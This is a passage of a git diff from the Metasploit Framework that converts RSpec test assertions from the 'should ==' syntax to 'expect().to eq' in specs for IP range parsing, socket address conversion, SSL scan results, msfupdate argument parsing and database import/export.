}.to raise_error end it "should overwrite a previously stored value" do orig_value = "a"*(options[:max_length]) rig.store(:spec, orig_value) - rig.get(:spec).should == orig_value + expect(rig.get(:spec)).to eq orig_value new_value = "b"*(options[:max_length]) rig.store(:spec, new_value) - rig.get(:spec).should == new_value + expect(rig.get(:spec)).to eq new_value end it "should overwrite a previously generated value" do @@ -118,7 +118,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do new_value = "a"*(options[:max_length]) rig.store(:spec, new_value) - rig.get(:spec).should == new_value + expect(rig.get(:spec)).to eq new_value end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index bc53fbecbb..668e719a5a 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -42,14 +42,14 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle single ipv6 addresses" do walker = Rex::Socket::RangeWalker.new("::1") walker.should be_valid - walker.length.should == 1 + expect(walker.length).to eq 1 end it "should handle longform ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-10.1.1.2") walker.should be_valid - walker.length.should == 2 - walker.next.should == "10.1.1.1" + expect(walker.length).to eq 2 + expect(walker.next).to eq "10.1.1.1" end context "with mulitple ranges" do @@ -62,14 +62,14 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle ranges" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2") walker.should be_valid - walker.length.should == 2 - walker.next.should == "10.1.1.1" + expect(walker.length).to eq 2 + expect(walker.next).to eq "10.1.1.1" walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2") walker.should be_valid - walker.length.should == 4 + expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6") walker.should be_valid - walker.length.should == 8 + expect(walker.length).to eq 8 walker.should include("10.1.3.5") end @@ -86,28 +86,28 @@ RSpec.describe Rex::Socket::RangeWalker do it "should default the lower bound of a range to 0" do walker = Rex::Socket::RangeWalker.new("10.1.3.-17") walker.should be_valid - walker.length.should == 18 + expect(walker.length).to eq 18 walker = Rex::Socket::RangeWalker.new("10.1.3.-255") walker.should be_valid - walker.length.should == 256 + expect(walker.length).to eq 256 end it "should default the upper bound of a range to 255" do walker = Rex::Socket::RangeWalker.new("10.1.3.254-") walker.should be_valid - walker.length.should == 2 + expect(walker.length).to eq 2 end it "should take * to mean 0-255" do walker = Rex::Socket::RangeWalker.new("10.1.3.*") walker.should be_valid - walker.length.should == 256 - walker.next.should == "10.1.3.0" + expect(walker.length).to eq 256 + expect(walker.next).to eq "10.1.3.0" walker.should include("10.1.3.255") walker = Rex::Socket::RangeWalker.new("10.1.*.3") walker.should be_valid - walker.length.should == 256 - walker.next.should == "10.1.0.3" + expect(walker.length).to eq 256 + expect(walker.next).to eq "10.1.0.3" walker.should include("10.1.255.3") end @@ -117,10 +117,10 @@ RSpec.describe Rex::Socket::RangeWalker do #walker.length.should == 2 walker = Rex::Socket::RangeWalker.new("10.1.1.1") walker.should be_valid - walker.length.should == 1 + expect(walker.length).to eq 1 walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") walker.should be_valid - walker.length.should == 2 + expect(walker.length).to eq 2 walker.should_not include("10.1.1.2") end @@ -133,19 +133,19 @@ RSpec.describe Rex::Socket::RangeWalker do it "should handle ranges and lists together" do walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3") walker.should be_valid - walker.length.should == 3 + expect(walker.length).to eq 3 walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2") walker.should be_valid - walker.length.should == 4 + expect(walker.length).to eq 4 walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6") - walker.length.should == 8 + expect(walker.length).to eq 8 end it "should handle cidr" do 31.downto 16 do |bits| walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}") walker.should be_valid - walker.length.should == (2**(32-bits)) + expect(walker.length).to eq (2**(32-bits)) end end end @@ -158,7 +158,7 @@ RSpec.describe Rex::Socket::RangeWalker do walker.each { |ip| got.push ip } - got.should == ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.2.2.2"] + expect(got).to eq ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.2.2.2"] end end @@ -180,7 +180,7 @@ RSpec.describe Rex::Socket::RangeWalker do while ip = walker.next all << ip end - all.should == [ "10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.4", "10.1.1.5", ] + expect(all).to eq [ "10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.4", "10.1.1.5", ] end it "should not raise if called again after empty" do diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 539915c533..7227919814 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -8,25 +8,25 @@ RSpec.describe Rex::Socket do context 'with explicit v6' do it "should convert a number to a human-readable IPv6 address" do - described_class.addr_itoa(1, true).should == "::1" + expect(described_class.addr_itoa(1, true)).to eq "::1" end end context 'with explicit v4' do it "should convert a number to a human-readable IPv4 address" do - described_class.addr_itoa(1, false).should == "0.0.0.1" + expect(described_class.addr_itoa(1, false)).to eq "0.0.0.1" end end context 'without explicit version' do it "should convert a number within the range of possible v4 addresses to a human-readable IPv4 address" do - described_class.addr_itoa(0).should == "0.0.0.0" - described_class.addr_itoa(1).should == "0.0.0.1" - described_class.addr_itoa(0xffff_ffff).should == "255.255.255.255" + expect(described_class.addr_itoa(0)).to eq "0.0.0.0" + expect(described_class.addr_itoa(1)).to eq "0.0.0.1" + expect(described_class.addr_itoa(0xffff_ffff)).to eq "255.255.255.255" end it "should convert a number larger than possible v4 addresses to a human-readable IPv6 address" do - described_class.addr_itoa(0xfe80_0000_0000_0000_0000_0000_0000_0001).should == "fe80::1" - described_class.addr_itoa(0x1_0000_0001).should == "::1:0:1" + expect(described_class.addr_itoa(0xfe80_0000_0000_0000_0000_0000_0000_0001)).to eq "fe80::1" + expect(described_class.addr_itoa(0x1_0000_0001)).to eq "::1:0:1" end end @@ -42,7 +42,7 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(String) } it { expect(subject.bytes.count).to eq(16) } it "should be in the right order" do - nbo.should == "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" + expect(nbo).to eq "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" end end @@ -51,7 +51,7 @@ RSpec.describe Rex::Socket do it { is_expected.to be_an(String) } it { expect(subject.bytes.count).to eq(4) } it "should be in the right order" do - nbo.should == "\x7f\x00\x00\x01" + expect(nbo).to eq "\x7f\x00\x00\x01" end end @@ -59,7 +59,7 @@ RSpec.describe Rex::Socket do let(:try) { "localhost" } it "should resolve" do nbo.should be_a(String) - nbo.encoding.should == Encoding.find('binary') + expect(nbo.encoding).to eq Encoding.find('binary') [ 4, 16 ].should include(nbo.length) end end @@ -93,7 +93,7 @@ RSpec.describe Rex::Socket do it { should be_a(String) } it "should return the first ASCII address" do - subject.should == "1.1.1.1" + expect(subject).to eq "1.1.1.1" end end @@ -103,7 +103,7 @@ RSpec.describe Rex::Socket do it { should be_a(String) } it "should return the first ASCII address" do - subject.should == "fe80::1" + expect(subject).to eq "fe80::1" end end @@ -113,7 +113,7 @@ RSpec.describe Rex::Socket do it { should be_a(String) } it "should return the first ASCII address" do - subject.should == "1.1.1.1" + expect(subject).to eq "1.1.1.1" end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index f1ce3f7142..91960c88a9 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -23,7 +23,7 @@ RSpec.describe Rex::SSLScan::Result do context "with no values set" do it "should return nil for the cert" do - subject.cert.should == nil + expect(subject.cert).to eq nil end it "should return an empty set for ciphers" do @@ -31,68 +31,68 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an empty array for accepted" do - subject.accepted.should == [] + expect(subject.accepted).to eq [] end it "should return an empty array for rejected" do - subject.rejected.should == [] + expect(subject.rejected).to eq [] end it "should return an empty array for #sslv2" do - subject.sslv2.should == [] + expect(subject.sslv2).to eq [] end it "should return an empty array for #sslv3" do - subject.sslv3.should == [] + expect(subject.sslv3).to eq [] end it "should return an empty array for #tlsv1" do - subject.tlsv1.should == [] + expect(subject.tlsv1).to eq [] end it "should return an empty array for #weak_ciphers" do - subject.weak_ciphers.should == [] + expect(subject.weak_ciphers).to eq [] end it "should return an empty array for #strong_ciphers" do - subject.strong_ciphers.should == [] + expect(subject.strong_ciphers).to eq [] end it "should return false for #supports_ssl?" do - subject.supports_ssl?.should == false + expect(subject.supports_ssl?).to eq false end it "should return false for #supports_ssl?v2" do - subject.supports_sslv2?.should == false + expect(subject.supports_sslv2?).to eq false end it "should return false for #supports_sslv3?" do - subject.supports_sslv3?.should == false + expect(subject.supports_sslv3?).to eq false end it "should return false for #supports_tlsv1?" do - subject.supports_tlsv1?.should == false + expect(subject.supports_tlsv1?).to eq false end it "should return false for #supports_weak_ciphers?" do - subject.supports_weak_ciphers?.should == false + expect(subject.supports_weak_ciphers?).to eq false end it "should return true for #standards_compliant?" do - subject.standards_compliant?.should == true + expect(subject.standards_compliant?).to eq true end end context "setting the cert" do it "should accept nil" do subject.cert = nil - subject.cert.should == nil + expect(subject.cert).to eq nil end it "should accept an X509 cert" do cert = OpenSSL::X509::Certificate.new subject.cert = cert - subject.cert.should == cert + expect(subject.cert).to eq cert end it "should raise an exception for anything else" do @@ -145,7 +145,7 @@ RSpec.describe Rex::SSLScan::Result do :weak=> false, :status => :accepted}) rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end @@ -189,7 +189,7 @@ RSpec.describe Rex::SSLScan::Result do it "should not add duplicate entries" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.accepted(:SSLv3).count.should == 1 + expect(subject.accepted(:SSLv3).count).to eq 1 end end context "that was rejected" do @@ -203,7 +203,7 @@ RSpec.describe Rex::SSLScan::Result do :weak=> false, :status => :rejected}) rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end @@ -247,7 +247,7 @@ RSpec.describe Rex::SSLScan::Result do it "should not add duplicate entries" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.rejected(:SSLv3).count.should == 1 + expect(subject.rejected(:SSLv3).count).to eq 1 end end end @@ -271,7 +271,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_accepted do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end end @@ -286,7 +286,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only ciphers matching the version" do subject.each_accepted(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 + expect(cipher_details[:version]).to eq :SSLv3 end end end @@ -297,7 +297,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end it "should return only the ciphers for the specified version" do @@ -327,7 +327,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_rejected do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end end @@ -342,7 +342,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only ciphers matching the version" do subject.each_rejected(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 + expect(cipher_details[:version]).to eq :SSLv3 end end end @@ -353,7 +353,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end it "should return only the ciphers for the specified version" do @@ -367,42 +367,42 @@ RSpec.describe Rex::SSLScan::Result do context "checking SSL support" do context "for SSLv2" do it "should return false if there are no accepted ciphers" do - subject.supports_sslv2?.should == false + expect(subject.supports_sslv2?).to eq false end it "should return true if there are accepted ciphers or raise an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.supports_sslv2?.should == true + expect(subject.supports_sslv2?).to eq true rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end end context "for SSLv3" do it "should return false if there are no accepted ciphers" do - subject.supports_sslv3?.should == false + expect(subject.supports_sslv3?).to eq false end it "should return true if there are accepted ciphers" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.supports_sslv3?.should == true + expect(subject.supports_sslv3?).to eq true end end context "for TLSv1" do it "should return false if there are no accepted ciphers" do - subject.supports_tlsv1?.should == false + expect(subject.supports_tlsv1?).to eq false end it "should return true if there are accepted ciphers" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_tlsv1?.should == true + expect(subject.supports_tlsv1?).to eq true end end context "for SSL at large" do it "should return false if there are no accepted ciphers" do - subject.supports_ssl?.should == false + expect(subject.supports_ssl?).to eq false end it "should return true if there are accepted ciphers" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_ssl?.should == true + expect(subject.supports_ssl?).to eq true end end end @@ -415,15 +415,15 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an array of weak ciphers from #weak_ciphers" do weak = subject.weak_ciphers - weak.class.should == Array + expect(weak.class).to eq Array weak.each do |cipher| - cipher[:weak].should == true + expect(cipher[:weak]).to eq true end - weak.count.should == 2 + expect(weak.count).to eq 2 end it "should return true from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == true + expect(subject.supports_weak_ciphers?).to eq true end end @@ -434,39 +434,39 @@ RSpec.describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) end it "should return an empty array from #weak_ciphers" do - subject.weak_ciphers.should == [] + expect(subject.weak_ciphers).to eq [] end it "should return false from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == false + expect(subject.supports_weak_ciphers?).to eq false end end end context "checking for standards compliance" do it "should return true if there is no SSL support" do - subject.standards_compliant?.should == true + expect(subject.standards_compliant?).to eq true end it "should return false if SSLv2 is supported or raise an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.standards_compliant?.should == false + expect(subject.standards_compliant?).to eq false rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end it "should return false if weak ciphers are supported" do subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - subject.standards_compliant?.should == false + expect(subject.standards_compliant?).to eq false end it "should return true if SSLv2 and Weak Ciphers are disabled" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.standards_compliant?.should == true + expect(subject.standards_compliant?).to eq true end end @@ -518,7 +518,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return an appropriate message when SSL is not supported" do subject.stub(:supports_ssl?).and_return(false) - subject.to_s.should == "Server does not appear to support SSL on this port!" + expect(subject.to_s).to eq "Server does not appear to support SSL on this port!" end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 654e9236c8..0f7ef0e8c6 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -15,22 +15,22 @@ RSpec.describe Rex::SSLScan::Scanner do context "when validating the scanner config" do it "should return true when given a valid config" do - subject.valid?.should == true + expect(subject.valid?).to eq true end it "should return false if given an invalid host" do subject.host = nil - subject.valid?.should == false + expect(subject.valid?).to eq false end it "should return false if given an invalid port" do subject.port = nil - subject.valid?.should == false + expect(subject.valid?).to eq false end it "should return false if given an invalid timeout" do subject.timeout = nil - subject.valid?.should == false + expect(subject.valid?).to eq false end end @@ -56,24 +56,24 @@ RSpec.describe Rex::SSLScan::Scanner do context ":rejected should be returned if" do it "scans a server that doesn't support the supplied SSL version" do - subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected + expect(subject.test_cipher(:SSLv3, "DES-CBC-SHA")).to eq :rejected end it "scans a server that doesn't support the cipher" do - subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected + expect(subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA")).to eq :rejected end end context ":accepted should be returned if" do it "scans a server that accepts the given cipher" do - subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + expect(subject.test_cipher(:SSLv3, "AES256-SHA")).to eq :accepted end end end context "when retrieving the cert" do it "should return nil if it can't connect" do - subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil + expect(subject.get_cert(:SSLv3, "DES-CBC-SHA")).to eq nil end it "should return an X509 cert if it can connect" do @@ -94,12 +94,12 @@ RSpec.describe Rex::SSLScan::Scanner do end it "should mark SSLv2 as unsupported" do subject.supported_versions.should_not include :SSLv2 - subject.sslv2.should == false + expect(subject.sslv2).to eq false end it "should not test any SSLv2 ciphers" do res = subject.scan - res.sslv2.should == [] + expect(res.sslv2).to eq [] end end end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 5cb7ad4878..11eaa8bab7 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -59,7 +59,7 @@ RSpec.describe Msfupdate do ARGV.clear ARGV << 'foo' subject.parse_args(['x', 'y']) - ARGV.should == ['foo'] + expect(ARGV).to eq ['foo'] end context "with --help" do @@ -84,7 +84,7 @@ RSpec.describe Msfupdate do it "sets @git_branch" do subject.parse_args(args) - subject.instance_variable_get(:@git_branch).should == git_branch + expect(subject.instance_variable_get(:@git_branch)).to eq git_branch end context "without a space" do @@ -92,7 +92,7 @@ RSpec.describe Msfupdate do it "sets @git_branch" do subject.parse_args(args) - subject.instance_variable_get(:@git_branch).should == git_branch + expect(subject.instance_variable_get(:@git_branch)).to eq git_branch end end end @@ -103,7 +103,7 @@ RSpec.describe Msfupdate do it "sets @git_remote" do subject.parse_args(args) - subject.instance_variable_get(:@git_remote).should == git_remote + expect(subject.instance_variable_get(:@git_remote)).to eq git_remote end context "without a space" do @@ -111,7 +111,7 @@ RSpec.describe Msfupdate do it "sets @git_remote" do subject.parse_args(args) - subject.instance_variable_get(:@git_remote).should == git_remote + expect(subject.instance_variable_get(:@git_remote)).to eq git_remote end end end @@ -128,7 +128,7 @@ RSpec.describe Msfupdate do context "with relative path" do it "transforms argument into an absolute path" do subject.parse_args(args) - subject.instance_variable_get(:@offline_file).should == File.join(Dir.pwd, offline_file) + expect(subject.instance_variable_get(:@offline_file)).to eq File.join(Dir.pwd, offline_file) end end @@ -136,7 +136,7 @@ RSpec.describe Msfupdate do let(:offline_file) { '/tmp/foo' } it "accepts an absolute path" do subject.parse_args(args) - subject.instance_variable_get(:@offline_file).should == offline_file + expect(subject.instance_variable_get(:@offline_file)).to eq offline_file end end @@ -154,7 +154,7 @@ RSpec.describe Msfupdate do let(:args) { ['wait'] } it "sets @actually_wait" do subject.parse_args(args) - subject.instance_variable_get(:@actually_wait).should == true + expect(subject.instance_variable_get(:@actually_wait)).to eq true end end @@ -162,7 +162,7 @@ RSpec.describe Msfupdate do let(:args) { ['nowait'] } it "sets @actually_wait" do subject.parse_args(args) - subject.instance_variable_get(:@actually_wait).should == false + expect(subject.instance_variable_get(:@actually_wait)).to eq false end end end diff --git a/spec/support/shared/examples/an_option.rb b/spec/support/shared/examples/an_option.rb index da2f7031c0..35cf0786f1 100644 --- a/spec/support/shared/examples/an_option.rb +++ b/spec/support/shared/examples/an_option.rb @@ -9,18 +9,18 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| let(:optional) { described_class.new('name', [false, 'A description here'])} it "should return a type of #{type}" do - subject.type.should == type + expect(subject.type).to eq type end context 'when required' do it 'should not be valid for nil' do - required.valid?(nil).should == false + expect(required.valid?(nil)).to eq false end end context 'when not required' do it 'it should be valid for nil' do - optional.valid?(nil).should == true + expect(optional.valid?(nil)).to eq true end end @@ -31,7 +31,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| it "should be valid and normalize appropriately: #{valid_value}" do block = Proc.new { - subject.normalize(valid_value).should == normalized_value + expect(subject.normalize(valid_value)).to eq normalized_value subject.valid?(valid_value).should be_truthy } if vhash[:skip] diff --git a/spec/support/shared/examples/hash_with_insensitive_access.rb b/spec/support/shared/examples/hash_with_insensitive_access.rb index f2821796a4..a7fe3401d8 100644 --- a/spec/support/shared/examples/hash_with_insensitive_access.rb +++ b/spec/support/shared/examples/hash_with_insensitive_access.rb @@ -3,19 +3,19 @@ shared_examples_for "hash with insensitive keys" do subject["asdf"] = "foo" subject["ASDF"] = "bar" - subject["asdf"].should == "bar" - subject["ASDF"].should == "bar" + expect(subject["asdf"]).to eq "bar" + expect(subject["ASDF"]).to eq "bar" end it "should fetch with insensitive key" do subject["foo"] = "bar" - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["FOO"].should == "bar" - subject["fOO"].should == "bar" - subject["fOo"].should == "bar" - subject["FOo"].should == "bar" - subject["Foo"].should == "bar" + expect(subject["foo"]).to eq "bar" + expect(subject["Foo"]).to eq "bar" + expect(subject["FOo"]).to eq "bar" + expect(subject["FOO"]).to eq "bar" + expect(subject["fOO"]).to eq "bar" + expect(subject["fOo"]).to eq "bar" + expect(subject["FOo"]).to eq "bar" + expect(subject["Foo"]).to eq "bar" end end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index e207827c6d..d9fd8d9f15 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -17,7 +17,7 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de if attribute == false child_node.content.should be_blank else - child_node.content.should == attribute.to_s + expect(child_node.content).to eq attribute.to_s end end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 87a9c48ef0..37b2dbcca4 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -209,7 +209,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should strip text' do - info[:child].should == stripped + expect(info[:child]).to eq stripped end end @@ -232,7 +232,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should have text for child name in info' do - info[child_sym].should == text + expect(info[child_sym]).to eq text end end end @@ -245,7 +245,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should return an empty Hash' do - info.should == {} + expect(info).to eq {} end end end @@ -491,7 +491,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do returned_hash end - actual_args.should == [element, options] + expect(actual_args).to eq [element, options] end it 'should pass return Hash to report_web_<:type>' do @@ -528,13 +528,13 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should call :notifier with event and path' do import_msf_web_element - successive_args.length.should == 1 + expect(successive_args.length).to eq 1 args = successive_args[0] - args.length.should == 2 - args[0].should == event - args[1].should == web_vuln.path + expect(args.length).to eq 2 + expect(args[0]).to eq event + expect(args[1]).to eq web_vuln.path end end @@ -605,13 +605,13 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should include :method' do with_info do |info| - info[:method].should == web_form_attributes[:method] + expect(info[:method]).to eq web_form_attributes[:method] end end it 'should include :params' do with_info do |info| - info[:params].should == web_form_attributes[:params] + expect(info[:params]).to eq web_form_attributes[:params] end end end @@ -724,49 +724,49 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should include :auth' do with_info do |info| - info[:auth].should == web_page_attributes.fetch(:auth) + expect(info[:auth]).to eq web_page_attributes.fetch(:auth) end end it 'should include :body' do with_info do |info| - info[:body].should == web_page_attributes.fetch(:body) + expect(info[:body]).to eq web_page_attributes.fetch(:body) end end it 'should include :code' do with_info do |info| - info[:code].should == web_page_attributes.fetch(:code) + expect(info[:code]).to eq web_page_attributes.fetch(:code) end end it 'should include :cookie' do with_info do |info| - info[:cookie].should == web_page_attributes.fetch(:cookie) + expect(info[:cookie]).to eq web_page_attributes.fetch(:cookie) end end it 'should include :ctype' do with_info do |info| - info[:ctype].should == web_page_attributes.fetch(:ctype) + expect(info[:ctype]).to eq web_page_attributes.fetch(:ctype) end end it 'should include :headers' do with_info do |info| - info[:headers].should == web_page_attributes.fetch(:headers) + expect(info[:headers]).to eq web_page_attributes.fetch(:headers) end end it 'should include :location' do with_info do |info| - info[:location].should == web_page_attributes.fetch(:location) + expect(info[:location]).to eq web_page_attributes.fetch(:location) end end it 'should include :mtime' do with_info do |info| - info[:mtime].should == web_page_attributes.fetch(:mtime) + expect(info[:mtime]).to eq web_page_attributes.fetch(:mtime) end end end @@ -893,55 +893,55 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should include :blame' do with_info do |info| - info[:blame].should == web_vuln_attributes.fetch(:blame) + expect(info[:blame]).to eq web_vuln_attributes.fetch(:blame) end end it 'should include :category' do with_info do |info| - info[:category].should == web_vuln_attributes.fetch(:category) + expect(info[:category]).to eq web_vuln_attributes.fetch(:category) end end it 'should include :confidence' do with_info do |info| - info[:confidence].should == web_vuln_attributes.fetch(:confidence) + expect(info[:confidence]).to eq web_vuln_attributes.fetch(:confidence) end end it 'should include :description' do with_info do |info| - info[:description].should == web_vuln_attributes.fetch(:description) + expect(info[:description]).to eq web_vuln_attributes.fetch(:description) end end it 'should include :method' do with_info do |info| - info[:method].should == web_vuln_attributes.fetch(:method) + expect(info[:method]).to eq web_vuln_attributes.fetch(:method) end end it 'should include :name' do with_info do |info| - info[:name].should == web_vuln_attributes.fetch(:name) + expect(info[:name]).to eq web_vuln_attributes.fetch(:name) end end it 'should include :pname' do with_info do |info| - info[:pname].should == web_vuln_attributes.fetch(:pname) + expect(info[:pname]).to eq web_vuln_attributes.fetch(:pname) end end it 'should include :proof' do with_info do |info| - info[:proof].should == web_vuln_attributes.fetch(:proof) + expect(info[:proof]).to eq web_vuln_attributes.fetch(:proof) end end it 'should include :risk' do with_info do |info| - info[:risk].should == web_vuln_attributes.fetch(:risk) + expect(info[:risk]).to eq web_vuln_attributes.fetch(:risk) end end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb index a467eb75ec..5b725288c6 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb @@ -19,7 +19,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_ end it "should have #{root_tag} as root tag" do - metadata[:root_tag].should == root_tag + expect(metadata[:root_tag]).to eq root_tag end end end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 437411b91c..48441286bf 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -16,7 +16,7 @@ shared_examples_for 'Msf::DBManager::Migration' do ActiveRecord::Migrator.migrations_paths.length } - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + expect(ActiveRecord::Migrator.migrations_paths.uniq).to eq ActiveRecord::Migrator.migrations_paths end end @@ -37,7 +37,7 @@ shared_examples_for 'Msf::DBManager::Migration' do migrations = [double('Migration 1')] ActiveRecord::Migrator.stub(:migrate => migrations) - migrate.should == migrations + expect(migrate).to eq migrations end it 'should reset the column information' do @@ -62,7 +62,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should set Msf::DBManager#error' do migrate - db_manager.error.should == error + expect(db_manager.error).to eq error end it 'should log error message at error level' do diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 5badedcabc..1e86e1a47e 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -325,7 +325,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'without Mdm::Module::Ref#name' do it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 + expect(module_details.count).to eq 0 end end end @@ -363,7 +363,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'without Mdm::Module::Detail#mtype' do it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 + expect(module_details.count).to eq 0 end end end @@ -445,7 +445,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 + expect(module_details.count).to eq 1 module_details.all? { |module_detail| module_detail.description == target_module_detail.description @@ -459,7 +459,7 @@ shared_examples_for 